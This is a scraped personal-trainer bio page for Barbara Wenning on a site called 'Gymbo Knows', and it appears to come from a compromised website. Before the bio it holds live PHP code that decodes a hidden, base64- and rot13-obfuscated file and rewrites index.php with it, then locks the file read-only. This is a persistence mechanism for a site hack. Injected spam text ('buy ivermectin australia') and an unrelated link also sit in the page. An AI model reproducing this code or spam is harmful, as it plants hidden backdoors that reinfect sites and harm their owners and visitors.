$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } BARBARA WENNING – Gymbo Knows

buy ivermectin australia Barbara Wenning http://michaelosullivan.com/devonshire-house-great-portland-street/ ACSM, AEA CERTIFIED PERSONAL TRAINER

"I know my clients’ time is valuable, so I will do everything possible to make sessions productive in reaching established goals."

I am an American College of Sports Medicine Certified Personal Trainer, and an AEA certified Aquatics Instructor.  In recent years,   I have competed in NPC and INBF bodybuilding competitions and won several titles.

As a personal trainer, my mission is to work with clients to establish and meet goals tailored to their specific fitness needs, and to improve their overall health. I know my clients’ time is valuable, so I will do everything possible to make sessions productive in reaching established goals.

I do not expect my clients to be hard core bodybuilders. I will, however, emphasize the importance of being strict with form and technique during each exercise.  When these two items are mastered, I increase difficulty, the variation of exercises and amount of weight.  This will optimize results, so my clients can see and feel the difference that professional training makes to achieve a healthy and fit lifestyle.

Finally, I also incorporate core training, cardio, dynamic stretching, and even some fun, with each workout. I believe my clients should completely enjoy their fitness routines in order to progress and achieve their goals.  My promise to you is this:  If you give me effort, you will get results.  I very much look forward to working with you.

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